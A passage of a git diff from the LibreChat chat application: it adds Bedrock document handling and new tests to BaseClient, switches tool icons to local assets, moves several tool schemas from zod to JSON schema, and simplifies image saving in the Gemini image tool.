this.options.endpoint; + const isBedrock = provider === EModelEndpoint.bedrock; + for (const file of attachments) { /** @type {FileSources} */ const source = file.source ?? FileSources.local; @@ -1317,6 +1346,9 @@ class BaseClient { } else if (file.type === 'application/pdf') { categorizedAttachments.documents.push(file); allFiles.push(file); + } else if (isBedrock && isBedrockDocumentType(file.type)) { + categorizedAttachments.documents.push(file); + allFiles.push(file); } else if (file.type.startsWith('video/')) { categorizedAttachments.videos.push(file); allFiles.push(file); diff --git a/api/app/clients/specs/BaseClient.test.js b/api/app/clients/specs/BaseClient.test.js index 3cc082ab66..f13c9979ac 100644 --- a/api/app/clients/specs/BaseClient.test.js +++ b/api/app/clients/specs/BaseClient.test.js @@ -41,9 +41,9 @@ jest.mock('~/models', () => ({ const { getConvo, saveConvo } = require('~/models'); jest.mock('@librechat/agents', () => { - const { Providers } = jest.requireActual('@librechat/agents'); + const actual = jest.requireActual('@librechat/agents'); return { - Providers, + ...actual, ChatOpenAI: jest.fn().mockImplementation(() => { return {}; }), @@ -821,6 +821,56 @@ describe('BaseClient', () => { }); }); + describe('recordTokenUsage model assignment', () => { + test('should pass this.model to recordTokenUsage, not the agent ID from responseMessage.model', async () => { + const actualModel = 'claude-opus-4-5'; + const agentId = 'agent_p5Z_IU6EIxBoqn1BoqLBp'; + + TestClient.model = actualModel; + TestClient.options.endpoint = 'agents'; + TestClient.options.agent = { id: agentId }; + + TestClient.getTokenCountForResponse = jest.fn().mockReturnValue(50); + TestClient.recordTokenUsage = jest.fn().mockResolvedValue(undefined); + TestClient.buildMessages.mockReturnValue({ + prompt: [], + tokenCountMap: { res: 50 }, + }); + + await TestClient.sendMessage('Hello', {}); + + expect(TestClient.recordTokenUsage).toHaveBeenCalledWith( + expect.objectContaining({ + model: actualModel, + }), + ); + + const callArgs = TestClient.recordTokenUsage.mock.calls[0][0]; + expect(callArgs.model).not.toBe(agentId); + }); + + test('should pass this.model even when this.model differs from modelOptions.model', async () => { + const instanceModel = 'gpt-4o'; + TestClient.model = instanceModel; + TestClient.modelOptions = { model: 'gpt-4o-mini' }; + + TestClient.getTokenCountForResponse = jest.fn().mockReturnValue(50); + TestClient.recordTokenUsage = jest.fn().mockResolvedValue(undefined); + TestClient.buildMessages.mockReturnValue({ + prompt: [], + tokenCountMap: { res: 50 }, + }); + + await TestClient.sendMessage('Hello', {}); + + expect(TestClient.recordTokenUsage).toHaveBeenCalledWith( + expect.objectContaining({ + model: instanceModel, + }), + ); + }); + }); + describe('getMessagesWithinTokenLimit with instructions', () => { test('should always include instructions when present', async () => { TestClient.maxContextTokens = 50; @@ -928,4 +978,123 @@ describe('BaseClient', () => { expect(result.remainingContextTokens).toBe(2); // 25 - 20 - 3(assistant label) }); }); + + describe('sendMessage file population', () => { + const attachment = { + file_id: 'file-abc', + filename: 'image.png', + filepath: '/uploads/image.png', + type: 'image/png', + bytes: 1024, + object: 'file', + user: 'user-1', + embedded: false, + usage: 0, + text: 'large ocr blob that should be stripped', + _id: 'mongo-id-1', + }; + + beforeEach(() => { + TestClient.options.req = { body: { files: [{ file_id: 'file-abc' }] } }; + TestClient.options.attachments = [attachment]; + }); + + test('populates userMessage.files before saveMessageToDatabase is called', async () => { + TestClient.saveMessageToDatabase = jest.fn().mockImplementation((msg) => { + return Promise.resolve({ message: msg }); + }); + + await TestClient.sendMessage('Hello'); + + const userSave = TestClient.saveMessageToDatabase.mock.calls.find( + ([msg]) => msg.isCreatedByUser, + ); + expect(userSave).toBeDefined(); + expect(userSave[0].files).toBeDefined(); + expect(userSave[0].files).toHaveLength(1); + expect(userSave[0].files[0].file_id).toBe('file-abc'); + }); + + test('strips text and _id from files before saving', async () => { + TestClient.saveMessageToDatabase = jest.fn().mockResolvedValue({ message: {} }); + + await TestClient.sendMessage('Hello'); + + const userSave = TestClient.saveMessageToDatabase.mock.calls.find( + ([msg]) => msg.isCreatedByUser, + ); + expect(userSave[0].files[0].text).toBeUndefined(); + expect(userSave[0].files[0]._id).toBeUndefined(); + expect(userSave[0].files[0].filename).toBe('image.png'); + }); + + test('deletes image_urls from userMessage when files are present', async () => { + TestClient.saveMessageToDatabase = jest.fn().mockResolvedValue({ message: {} }); + TestClient.options.attachments = [ + { ...attachment, image_urls: ['data:image/png;base64,...'] }, + ]; + + await TestClient.sendMessage('Hello'); + + const userSave = TestClient.saveMessageToDatabase.mock.calls.find( + ([msg]) => msg.isCreatedByUser, + ); + expect(userSave[0].image_urls).toBeUndefined(); + }); + + test('does not set files when no attachments match request file IDs', async () => { + TestClient.options.req = { body: { files: [{ file_id: 'file-nomatch' }] } }; + TestClient.saveMessageToDatabase = jest.fn().mockResolvedValue({ message: {} }); + + await TestClient.sendMessage('Hello'); + + const userSave = TestClient.saveMessageToDatabase.mock.calls.find( + ([msg]) => msg.isCreatedByUser, + ); + expect(userSave[0].files).toBeUndefined(); + }); + + test('skips file population when attachments is not an array (Promise case)', async () => { + TestClient.options.attachments = Promise.resolve([attachment]); + TestClient.saveMessageToDatabase = jest.fn().mockResolvedValue({ message: {} }); + + await TestClient.sendMessage('Hello'); + + const userSave = TestClient.saveMessageToDatabase.mock.calls.find( + ([msg]) => msg.isCreatedByUser, + ); + expect(userSave[0].files).toBeUndefined(); + }); + + test('skips file population when skipSaveUserMessage is true', async () => { + TestClient.skipSaveUserMessage = true; + TestClient.saveMessageToDatabase = jest.fn().mockResolvedValue({ message: {} }); + + await TestClient.sendMessage('Hello'); + + const userSave = TestClient.saveMessageToDatabase.mock.calls.find( + ([msg]) => msg?.isCreatedByUser, + ); + expect(userSave).toBeUndefined(); + }); + + test('ignores file_id: undefined entries in req.body.files (no set poisoning)', async () => { + TestClient.options.req = { + body: { files: [{ file_id: undefined }, { file_id: 'file-abc' }] }, + }; + TestClient.options.attachments = [ + { ...attachment, file_id: undefined }, + { ...attachment, file_id: 'file-abc' }, + ]; + TestClient.saveMessageToDatabase = jest.fn().mockResolvedValue({ message: {} }); + + await TestClient.sendMessage('Hello'); + + const userSave = TestClient.saveMessageToDatabase.mock.calls.find( + ([msg]) => msg.isCreatedByUser, + ); + expect(userSave[0].files).toHaveLength(1); + expect(userSave[0].files[0].file_id).toBe('file-abc'); + }); + }); }); diff --git a/api/app/clients/tools/manifest.json b/api/app/clients/tools/manifest.json index 9262113501..9637c20867 100644 --- a/api/app/clients/tools/manifest.json +++ b/api/app/clients/tools/manifest.json @@ -16,7 +16,7 @@ "name": "Google", "pluginKey": "google", "description": "Use Google Search to find information about the weather, news, sports, and more.", - "icon": "https://i.imgur.com/SMmVkNB.png", + "icon": "assets/google-search.svg", "authConfig": [ { "authField": "GOOGLE_CSE_ID", @@ -57,24 +57,11 @@ } ] }, - { - "name": "Browser", - "pluginKey": "web-browser", - "description": "Scrape and summarize webpage data", - "icon": "assets/web-browser.svg", - "authConfig": [ - { - "authField": "OPENAI_API_KEY", - "label": "OpenAI API Key", - "description": "Browser makes use of OpenAI embeddings" - } - ] - }, { "name": "DALL-E-3", "pluginKey": "dalle", "description": "[DALL-E-3] Create realistic images and art from a description in natural language", - "icon": "https://i.imgur.com/u2TzXzH.png", + "icon": "assets/openai.svg", "authConfig": [ { "authField": "DALLE3_API_KEY||DALLE_API_KEY", @@ -87,7 +74,7 @@ "name": "Tavily Search", "pluginKey": "tavily_search_results_json", "description": "Tavily Search is a robust search API tailored for LLM Agents. It seamlessly integrates with diverse data sources to ensure a superior, relevant search experience.", - "icon": "https://tavily.com/favicon.ico", + "icon": "assets/tavily.svg", "authConfig": [ { "authField": "TAVILY_API_KEY", @@ -100,14 +87,14 @@ "name": "Calculator", "pluginKey": "calculator", "description": "Perform simple and complex mathematical calculations.", - "icon": "https://i.imgur.com/RHsSG5h.png", + "icon": "assets/calculator.svg", "authConfig": [] }, { "name": "Stable Diffusion", "pluginKey": "stable-diffusion", "description": "Generate photo-realistic images given any text input.", - "icon": "https://i.imgur.com/Yr466dp.png", + "icon": "assets/stability-ai.svg", "authConfig": [ { "authField": "SD_WEBUI_URL", @@ -120,7 +107,7 @@ "name": "Azure AI Search", "pluginKey": "azure-ai-search", "description": "Use Azure AI Search to find information", - "icon": "https://i.imgur.com/E7crPze.png", + "icon": "assets/azure-ai-search.svg", "authConfig": [ { "authField": "AZURE_AI_SEARCH_SERVICE_ENDPOINT", @@ -156,7 +143,7 @@ "name": "Flux", "pluginKey": "flux", "description": "Generate images using text with the Flux API.", - "icon": "https://blackforestlabs.ai/wp-content/uploads/2024/07/bfl_logo_retraced_blk.png", + "icon": "assets/bfl-ai.svg", "isAuthRequired": "true", "authConfig": [ { @@ -169,14 +156,14 @@ { "name": "Gemini Image Tools", "pluginKey": "gemini_image_gen", - "toolkit": true, "description": "Generate high-quality images using Google's Gemini Image Models. Supports Gemini API or Vertex AI.", "icon": "assets/gemini_image_gen.svg", "authConfig": [ { - "authField": "GEMINI_API_KEY||GOOGLE_KEY||GEMINI_VERTEX_ENABLED", - "label": "Gemini API Key (Optional if Vertex AI is configured)", - "description": "Your Google Gemini API Key from Google AI Studio. Leave blank if using Vertex AI with service account." + "authField": "GEMINI_API_KEY||GOOGLE_KEY||GOOGLE_SERVICE_KEY_FILE", + "label": "Gemini API Key (optional)", + "description": "Your Google Gemini API Key from Google AI Studio. Leave blank to use Vertex AI with a service account (GOOGLE_SERVICE_KEY_FILE or api/data/auth.json).", + "optional": true } ] } diff --git a/api/app/clients/tools/structured/AzureAISearch.js b/api/app/clients/tools/structured/AzureAISearch.js index 55af3cdff5..1815c45e04 100644 --- a/api/app/clients/tools/structured/AzureAISearch.js +++ b/api/app/clients/tools/structured/AzureAISearch.js @@ -1,14 +1,28 @@ -const { z } = require('zod'); const { Tool } = require('@langchain/core/tools'); const { logger } = require('@librechat/data-schemas'); const { SearchClient, AzureKeyCredential } = require('@azure/search-documents'); +const azureAISearchJsonSchema = { + type: 'object', + properties: { + query: { + type: 'string', + description: 'Search word or phrase to Azure AI Search', + }, + }, + required: ['query'], +}; + class AzureAISearch extends Tool { // Constants for default values static DEFAULT_API_VERSION = '2023-11-01'; static DEFAULT_QUERY_TYPE = 'simple'; static DEFAULT_TOP = 5; + static get jsonSchema() { + return azureAISearchJsonSchema; + } + // Helper function for initializing properties _initializeField(field, envVar, defaultValue) { return field || process.env[envVar] || defaultValue; @@ -22,10 +36,7 @@ class AzureAISearch extends Tool { /* Used to initialize the Tool without necessary variables. */ this.override = fields.override ?? false; - // Define schema - this.schema = z.object({ - query: z.string().describe('Search word or phrase to Azure AI Search'), - }); + this.schema = azureAISearchJsonSchema; // Initialize properties using helper function this.serviceEndpoint = this._initializeField( diff --git a/api/app/clients/tools/structured/DALLE3.js b/api/app/clients/tools/structured/DALLE3.js index c44b56f83d..26610f73ba 100644 --- a/api/app/clients/tools/structured/DALLE3.js +++ b/api/app/clients/tools/structured/DALLE3.js @@ -1,4 +1,3 @@ -const { z } = require('zod'); const path = require('path'); const OpenAI = require('openai'); const { v4: uuidv4 } = require('uuid'); @@ -8,6 +7,36 @@ const { logger } = require('@librechat/data-schemas'); const { getImageBasename, extractBaseURL } = require('@librechat/api'); const { FileContext, ContentTypes } = require('librechat-data-provider'); +const dalle3JsonSchema = { + type: 'object', + properties: { + prompt: { + type: 'string', + maxLength: 4000, + description: + 'A text description of the desired image, following the rules, up to 4000 characters.', + }, + style: { + type: 'string', + enum: ['vivid', 'natural'], + description: + 'Must be one of `vivid` or `natural`. `vivid` generates hyper-real and dramatic images, `natural` produces more natural, less hyper-real looking images', + }, + quality: { + type: 'string', + enum: ['hd', 'standard'], + description: 'The quality of the generated image. Only `hd` and `standard` are supported.', + }, + size: { + type: 'string', + enum: ['1024x1024', '1792x1024', '1024x1792'], + description: + 'The size of the requested image. Use 1024x1024 (square) as the default, 1792x1024 if the user requests a wide image, and 1024x1792 for full-body portraits. Always include this parameter in the request.', + }, + }, + required: ['prompt', 'style', 'quality', 'size'], +}; + const displayMessage = "DALL-E displayed an image. All generated images are already plainly visible, so don't repeat the descriptions in detail. Do not list download links as they are available in the UI already. The user may download the images by clicking on them, but do not mention anything about downloading to the user."; class DALLE3 extends Tool { @@ -72,27 +101,11 @@ class DALLE3 extends Tool { // The prompt must intricately describe every part of the image in concrete, objective detail. THINK about what the end goal of the description is, and extrapolate that to what would make satisfying images. // All descriptions sent to dalle should be a paragraph of text that is extremely descriptive and detailed. Each should be more than 3 sentences long. // - The "vivid" style is HIGHLY preferred, but "natural" is also supported.`; - this.schema = z.object({ - prompt: z - .string() - .max(4000) - .describe( - 'A text description of the desired image, following the rules, up to 4000 characters.', - ), - style: z - .enum(['vivid', 'natural']) - .describe( - 'Must be one of `vivid` or `natural`. `vivid` generates hyper-real and dramatic images, `natural` produces more natural, less hyper-real looking images', - ), - quality: z - .enum(['hd', 'standard']) - .describe('The quality of the generated image. Only `hd` and `standard` are supported.'), - size: z - .enum(['1024x1024', '1792x1024', '1024x1792']) - .describe( - 'The size of the requested image. Use 1024x1024 (square) as the default, 1792x1024 if the user requests a wide image, and 1024x1792 for full-body portraits. Always include this parameter in the request.', - ), - }); + this.schema = dalle3JsonSchema; + } + + static get jsonSchema() { + return dalle3JsonSchema; } getApiKey() { diff --git a/api/app/clients/tools/structured/FluxAPI.js b/api/app/clients/tools/structured/FluxAPI.js index 9fa08a0343..56f86a707d 100644 --- a/api/app/clients/tools/structured/FluxAPI.js +++ b/api/app/clients/tools/structured/FluxAPI.js @@ -1,4 +1,3 @@ -const { z } = require('zod'); const axios = require('axios'); const fetch = require('node-fetch'); const { v4: uuidv4 } = require('uuid'); @@ -7,6 +6,84 @@ const { logger } = require('@librechat/data-schemas'); const { HttpsProxyAgent } = require('https-proxy-agent'); const { FileContext, ContentTypes } = require('librechat-data-provider'); +const fluxApiJsonSchema = { + type: 'object', + properties: { + action: { + type: 'string', + enum: ['generate', 'list_finetunes', 'generate_finetuned'], + description: + 'Action to perform: "generate" for image generation, "generate_finetuned" for finetuned model generation, "list_finetunes" to get available custom models', + }, + prompt: { + type: 'string', + description: + 'Text prompt for image generation. Required when action is "generate". Not used for list_finetunes.', + }, + width: { + type: 'number', + description: + 'Width of the generated image in pixels. Must be a multiple of 32. Default is 1024.', + }, + height: { + type: 'number', + description: + 'Height of the generated image in pixels. Must be a multiple of 32. Default is 768.', + }, + prompt_upsampling: { + type: 'boolean', + description: 'Whether to perform upsampling on the prompt.', + }, + steps: { + type: 'integer', + description: 'Number of steps to run the model for, a number from 1 to 50. Default is 40.', + }, + seed: { + type: 'number', + description: 'Optional seed for reproducibility.', + }, + safety_tolerance: { + type: 'number', + description: + 'Tolerance level for input and output moderation. Between 0 and 6, 0 being most strict, 6 being least strict.', + }, + endpoint: { + type: 'string', + enum: [ + '/v1/flux-pro-1.1', + '/v1/flux-pro', + '/v1/flux-dev', + '/v1/flux-pro-1.1-ultra', + '/v1/flux-pro-finetuned', + '/v1/flux-pro-1.1-ultra-finetuned', + ], + description: 'Endpoint to use for image generation.', + }, + raw: { + type: 'boolean', + description: + 'Generate less processed, more natural-looking images. Only works for /v1/flux-pro-1.1-ultra.', + }, + finetune_id: { + type: 'string', + description: 'ID of the finetuned model to use', + }, + finetune_strength: { + type: 'number', + description: 'Strength of the finetuning effect (typically between 0.1 and 1.2)', + }, + guidance: { + type: 'number', + description: 'Guidance scale for finetuned models', + }, + aspect_ratio: { + type: 'string', + description: 'Aspect ratio for ultra models (e.g., "16:9")', + }, + }, + required: [], +}; + const displayMessage = "Flux displayed an image. All generated images are already plainly visible, so don't repeat the descriptions in detail. Do not list download links as they are available in the UI already. The user may download the images by clicking on them, but do not mention anything about downloading to the user."; @@ -57,82 +134,11 @@ class FluxAPI extends Tool { // Add base URL from environment variable with fallback this.baseUrl = process.env.FLUX_API_BASE_URL || 'https://api.us1.bfl.ai'; - // Define the schema for structured input - this.schema = z.object({ - action: z - .enum(['generate', 'list_finetunes', 'generate_finetuned']) - .default('generate') - .describe( - 'Action to perform: "generate" for image generation, "generate_finetuned" for finetuned model generation, "list_finetunes" to get available custom models', - ), - prompt: z - .string() - .optional() - .describe( - 'Text prompt for image generation. Required when action is "generate". Not used for list_finetunes.', - ), - width: z - .number() - .optional() - .describe( - 'Width of the generated image in pixels. Must be a multiple of 32. Default is 1024.', - ), - height: z - .number() - .optional() - .describe( - 'Height of the generated image in pixels. Must be a multiple of 32. Default is 768.', - ), - prompt_upsampling: z - .boolean() - .optional() - .default(false) - .describe('Whether to perform upsampling on the prompt.'), - steps: z - .number() - .int() - .optional() - .describe('Number of steps to run the model for, a number from 1 to 50. Default is 40.'), - seed: z.number().optional().describe('Optional seed for reproducibility.'), - safety_tolerance: z - .number() - .optional() - .default(6) - .describe( - 'Tolerance level for input and output moderation. Between 0 and 6, 0 being most strict, 6 being least strict.', - ), - endpoint: z - .enum([ - '/v1/flux-pro-1.1', - '/v1/flux-pro', - '/v1/flux-dev', - '/v1/flux-pro-1.1-ultra', - '/v1/flux-pro-finetuned', - '/v1/flux-pro-1.1-ultra-finetuned', - ]) - .optional() - .default('/v1/flux-pro-1.1') - .describe('Endpoint to use for image generation.'), - raw: z - .boolean() - .optional() - .default(false) - .describe( - 'Generate less processed, more natural-looking images. Only works for /v1/flux-pro-1.1-ultra.', - ), - finetune_id: z.string().optional().describe('ID of the finetuned model to use'), - finetune_strength: z - .number() - .optional() - .default(1.1) - .describe('Strength of the finetuning effect (typically between 0.1 and 1.2)'), - guidance: z.number().optional().default(2.5).describe('Guidance scale for finetuned models'), - aspect_ratio: z - .string() - .optional() - .default('16:9') - .describe('Aspect ratio for ultra models (e.g., "16:9")'), - }); + this.schema = fluxApiJsonSchema; + } + + static get jsonSchema() { + return fluxApiJsonSchema; } getAxiosConfig() { diff --git a/api/app/clients/tools/structured/GeminiImageGen.js b/api/app/clients/tools/structured/GeminiImageGen.js index c0e5a0ce1d..0bd1e302ed 100644 --- a/api/app/clients/tools/structured/GeminiImageGen.js +++ b/api/app/clients/tools/structured/GeminiImageGen.js @@ -1,4 +1,3 @@ -const fs = require('fs'); const path = require('path'); const sharp = require('sharp'); const { v4 } = require('uuid'); @@ -6,12 +5,7 @@ const { ProxyAgent } = require('undici'); const { GoogleGenAI } = require('@google/genai'); const { tool } = require('@langchain/core/tools'); const { logger } = require('@librechat/data-schemas'); -const { - FileContext, - ContentTypes, - FileSources, - EImageOutputType, -} = require('librechat-data-provider'); +const { ContentTypes, EImageOutputType } = require('librechat-data-provider'); const { geminiToolkit, loadServiceKey, @@ -59,17 +53,12 @@ const displayMessage = * @returns {string} - The processed string */ function replaceUnwantedChars(inputString) { - return inputString?.replace(/[^\w\s\-_.,!?()]/g, '') || ''; -} - -/** - * Validate and sanitize image format - * @param {string} format - The format to validate - * @returns {string} - Safe format - */ -function getSafeFormat(format) { - const allowedFormats = ['png', 'jpg', 'jpeg', 'webp', 'gif']; - return allowedFormats.includes(format?.toLowerCase()) ? format.toLowerCase() : 'png'; + return ( + inputString + ?.replace(/\r\n|\r|\n/g, ' ') + .replace(/"/g, '') + .trim() || '' + ); } /** @@ -117,11 +106,8 @@ async function initializeGeminiClient(options = {}) { return new GoogleGenAI({ apiKey: googleKey }); } - // Fall back to Vertex AI with service account logger.debug('[GeminiImageGen] Using Vertex AI with service account'); const credentialsPath = getDefaultServiceKeyPath(); - - // Use loadServiceKey for consistent loading (supports file paths, JSON strings, base64) const serviceKey = await loadServiceKey(credentialsPath); if (!serviceKey || !serviceKey.project_id) { @@ -131,75 +117,14 @@ async function initializeGeminiClient(options = {}) { ); } - // Set GOOGLE_APPLICATION_CREDENTIALS for any Google Cloud SDK dependencies - try { - await fs.promises.access(credentialsPath); - process.env.GOOGLE_APPLICATION_CREDENTIALS = credentialsPath; - } catch { - // File doesn't exist, skip setting env var - } - return new GoogleGenAI({ vertexai: true, project: serviceKey.project_id, location: process.env.GOOGLE_LOC || process.env.GOOGLE_CLOUD_LOCATION || 'global', + googleAuthOptions: { credentials: serviceKey }, }); } -/** - * Save image to local filesystem - * @param {string} base64Data - Base64 encoded image data - * @param {string} format - Image format - * @param {string} userId - User ID - * @returns {Promise} - The relative URL - */ -async function saveImageLocally(base64Data, format, userId) { - const safeFormat = getSafeFormat(format); - const safeUserId = userId ? path.basename(userId) : 'default'; - const imageName = `gemini-img-${v4()}.${safeFormat}`; - const userDir = path.join(process.cwd(), 'client/public/images', safeUserId); - - await fs.promises.mkdir(userDir, { recursive: true }); - - const filePath = path.join(userDir, imageName); - await fs.promises.writeFile(filePath, Buffer.from(base64Data, 'base64')); - - logger.debug('[GeminiImageGen] Image saved locally to:', filePath); - return `/images/${safeUserId}/${imageName}`; -} - -/** - * Save image to cloud storage - * @param {Object} params - Parameters - * @returns {Promise} - The storage URL or null - */ -async function saveToCloudStorage({ base64Data, format, processFileURL, fileStrategy, userId }) { - if (!processFileURL || !fileStrategy || !userId) { - return null; - } - - try { - const safeFormat = getSafeFormat(format); - const safeUserId = path.basename(userId); - const dataURL = `data:image/${safeFormat};base64,${base64Data}`; - const imageName = `gemini-img-${v4()}.${safeFormat}`; - - const result = await processFileURL({ - URL: dataURL, - basePath: 'images', - userId: safeUserId, - fileName: imageName, - fileStrategy, - context: FileContext.image_generation, - }); - - return result.filepath; - } catch (error) { - logger.error('[GeminiImageGen] Error saving to cloud storage:', error); - return null; - } -} - /** * Convert image files to Gemini inline data format * @param {Object} params - Parameters @@ -326,8 +251,9 @@ function checkForSafetyBlock(response) { * @param {string} params.userId - The user ID * @param {string} params.conversationId - The conversation ID * @param {string} params.model - The model name + * @param {string} [params.messageId] - The response message ID for transaction correlation */ -async function recordTokenUsage({ usageMetadata, req, userId, conversationId, model }) { +async function recordTokenUsage({ usageMetadata, req, userId, conversationId, model, messageId }) { if (!usageMetadata) { logger.debug('[GeminiImageGen] No usage metadata available for balance tracking'); return; @@ -363,6 +289,7 @@ async function recordTokenUsage({ usageMetadata, req, userId, conversationId, mo { user: userId, model, + messageId, conversationId, context: 'image_generation', balance, @@ -390,34 +317,18 @@ function createGeminiImageTool(fields = {}) { throw new Error('This tool is only available for agents.'); } - // Skip validation during tool creation - validation happens at runtime in initializeGeminiClient - // This allows the tool to be added to agents when using Vertex AI without requiring API keys - // The actual credentials check happens when the tool is invoked - - const { - req, - imageFiles = [], - processFileURL, - userId, - fileStrategy, - GEMINI_API_KEY, - GOOGLE_KEY, - // GEMINI_VERTEX_ENABLED is used for auth validation only (not used in code) - // When set as env var, it signals Vertex AI is configured and bypasses API key requirement - } = fields; + const { req, imageFiles = [], userId, fileStrategy, GEMINI_API_KEY, GOOGLE_KEY } = fields; const imageOutputType = fields.imageOutputType || EImageOutputType.PNG; const geminiImageGenTool = tool( - async ({ prompt, image_ids, aspectRatio, imageSize }, _runnableConfig) => { + async ({ prompt, image_ids, aspectRatio, imageSize }, runnableConfig) => { if (!prompt) { throw new Error('Missing required field: prompt'); } - logger.debug('[GeminiImageGen] Generating image with prompt:', prompt?.substring(0, 100)); - logger.debug('[GeminiImageGen] Options:', { aspectRatio, imageSize }); + logger.debug('[GeminiImageGen] Generating image', { aspectRatio, imageSize }); - // Initialize Gemini client with user-provided credentials let ai; try { ai = await initializeGeminiClient({ @@ -432,10 +343,8 @@ function createGeminiImageTool(fields = {}) { ]; } - // Build request contents const contents = [{ text: replaceUnwantedChars(prompt) }]; - // Add context images if provided if (image_ids?.length > 0) { const contextImages = await convertImagesToInlineData({ imageFiles, @@ -447,28 +356,34 @@ function createGeminiImageTool(fields = {}) { logger.debug('[GeminiImageGen] Added', contextImages.length, 'context images'); } - // Generate image let apiResponse; const geminiModel = process.env.GEMINI_IMAGE_MODEL || 'gemini-2.5-flash-image'; - try { - // Build config with optional imageConfig - const config = { - responseModalities: ['TEXT', 'IMAGE'], - }; + const config = { + responseModalities: ['TEXT', 'IMAGE'], + }; - // Add imageConfig if aspectRatio or imageSize is specified - // Note: gemini-2.5-flash-image doesn't support imageSize - const supportsImageSize = !geminiModel.includes('gemini-2.5-flash-image'); - if (aspectRatio || (imageSize && supportsImageSize)) { - config.imageConfig = {}; - if (aspectRatio) { - config.imageConfig.aspectRatio = aspectRatio; - } - if (imageSize && supportsImageSize) { - config.imageConfig.imageSize = imageSize; - } + const supportsImageSize = !geminiModel.includes('gemini-2.5-flash-image'); + if (aspectRatio || (imageSize && supportsImageSize)) { + config.imageConfig = {}; + if (aspectRatio) { + config.imageConfig.aspectRatio = aspectRatio; } + if (imageSize && supportsImageSize) { + config.imageConfig.imageSize = imageSize; + } + } + let derivedSignal = null; + let abortHandler = null; + + if (runnableConfig?.signal) { + derivedSignal = AbortSignal.any([runnableConfig.signal]); + abortHandler = () => logger.debug('[GeminiImageGen] Image generation aborted'); + derivedSignal.addEventListener('abort', abortHandler, { once: true }); + config.abortSignal = derivedSignal; + } + + try { apiResponse = await ai.models.generateContent({ model: geminiModel, contents, @@ -480,9 +395,12 @@ function createGeminiImageTool(fields = {}) { [{ type: ContentTypes.TEXT, text: `Image generation failed: ${error.message}` }], { content: [], file_ids: [] }, ]; + } finally { + if (abortHandler && derivedSignal) { + derivedSignal.removeEventListener('abort', abortHandler); + } } - // Check for safety blocks const safetyBlock = checkForSafetyBlock(apiResponse); if (safetyBlock) { logger.warn('[GeminiImageGen] Safety block:', safetyBlock); @@ -509,46 +427,7 @@ function createGeminiImageTool(fields = {}) { const imageData = convertedBuffer.toString('base64'); const mimeType = outputFormat === 'jpeg' ? 'image/jpeg' : `image/${outputFormat}`; - logger.debug('[GeminiImageGen] Image format:', { outputFormat, mimeType }); - - let imageUrl; - const useLocalStorage = !fileStrategy || fileStrategy === FileSources.local; - - if (useLocalStorage) { - try { - imageUrl = await saveImageLocally(imageData, outputFormat, userId); - } catch (error) { - logger.error('[GeminiImageGen] Local save failed:', error); - imageUrl = `data:${mimeType};base64,${imageData}`; - } - } else { - const cloudUrl = await saveToCloudStorage({ - base64Data: imageData, - format: outputFormat, - processFileURL, - fileStrategy, - userId, - }); - - if (cloudUrl) { - imageUrl = cloudUrl; - } else { - // Fallback to local - try { - imageUrl = await saveImageLocally(imageData, outputFormat, userId); - } catch (_error) { - imageUrl = `data:${mimeType};base64,${imageData}`; - } - } - } - - logger.debug('[GeminiImageGen] Image URL:', imageUrl); - - // For the artifact, we need a data URL (same as OpenAI) - // The local file save is for persistence, but the response needs a data URL const dataUrl = `data:${mimeType};base64,${imageData}`; - - // Return in content_and_artifact format (same as OpenAI) const file_ids = [v4()]; const content = [ { @@ -567,12 +446,15 @@ function createGeminiImageTool(fields = {}) { }, ]; - // Record token usage for balance tracking (don't await to avoid blocking response) - const conversationId = _runnableConfig?.configurable?.thread_id; + const conversationId = runnableConfig?.configurable?.thread_id; + const messageId = + runnableConfig?.configurable?.run_id ?? + runnableConfig?.configurable?.requestBody?.messageId; recordTokenUsage({ usageMetadata: apiResponse.usageMetadata, req, userId, + messageId, conversationId, model: geminiModel, }).catch((error) => { diff --git a/api/app/clients/tools/structured/GoogleSearch.js b/api/app/clients/tools/structured/GoogleSearch.js index d703d56f83..38f483edf1 100644 --- a/api/app/clients/tools/structured/GoogleSearch.js +++ b/api/app/clients/tools/structured/GoogleSearch.js @@ -1,12 +1,33 @@ -const { z } = require('zod'); const { Tool } = require('@langchain/core/tools'); const { getEnvironmentVariable } = require('@langchain/core/utils/env'); +const googleSearchJsonSchema = { + type: 'object', + properties: { + query: { + type: 'string', + minLength: 1, + description: 'The search query string.', + }, + max_results: { + type: 'integer', + minimum: 1, + maximum: 10, + description: 'The maximum number of search results to return. Defaults to 5.', + }, + }, + required: ['query'], +}; + class GoogleSearchResults extends Tool { static lc_name() { return 'google'; } + static get jsonSchema() { + return googleSearchJsonSchema; + } + constructor(fields = {}) { super(fields); this.name = 'google'; @@ -28,25 +49,11 @@ class GoogleSearchResults extends Tool { this.description = 'A search engine optimized for comprehensive, accurate, and trusted results. Useful for when you need to answer questions about current events.'; - this.schema = z.object({ - query: z.string().min(1).describe('The search query string.'), - max_results: z - .number() - .min(1) - .max(10) - .optional() - .describe('The maximum number of search results to return. Defaults to 10.'), - // Note: Google API has its own parameters for search customization, adjust as needed. - }); + this.schema = googleSearchJsonSchema; } async _call(input) { - const validationResult = this.schema.safeParse(input); - if (!validationResult.success) { - throw new Error(`Validation failed: ${JSON.stringify(validationResult.error.issues)}`); - } - - const { query, max_results = 5 } = validationResult.data; + const { query, max_results = 5 } = input; const response = await fetch( `https://www.googleapis.com/customsearch/v1?key=${this.apiKey}&cx=${ diff --git a/api/app/clients/tools/structured/OpenWeather.js b/api/app/clients/tools/structured/OpenWeather.js index f92fe522ce..38e2b9133c 100644 --- a/api/app/clients/tools/structured/OpenWeather.js +++ b/api/app/clients/tools/structured/OpenWeather.js @@ -1,8 +1,52 @@ const { Tool } = require('@langchain/core/tools'); -const { z } = require('zod'); const { getEnvironmentVariable } = require('@langchain/core/utils/env'); const fetch = require('node-fetch'); +const openWeatherJsonSchema = { + type: 'object', + properties: { + action: { + type: 'string', + enum: ['help', 'current_forecast', 'timestamp', 'daily_aggregation', 'overview'], + description: 'The action to perform', + }, + city: { + type: 'string', + description: 'City name for geocoding if lat/lon not provided', + }, + lat: { + type: 'number', + description: 'Latitude coordinate', + }, + lon: { + type: 'number', + description: 'Longitude coordinate', + }, + exclude: { + type: 'string', + description: 'Parts to exclude from the response', + }, + units: { + type: 'string', + enum: ['Celsius', 'Kelvin', 'Fahrenheit'], + description: 'Temperature units', + }, + lang: { + type: 'string', + description: 'Language code', + }, + date: { + type: 'string', + description: 'Date in YYYY-MM-DD format for timestamp and daily_aggregation', + }, + tz: { + type: 'string', + description: 'Timezone', + }, + }, + required: ['action'], +}; + /** * Map user-friendly units to OpenWeather units. * Defaults to Celsius if not specified. @@ -66,17 +110,11 @@ class OpenWeather extends Tool { 'Units: 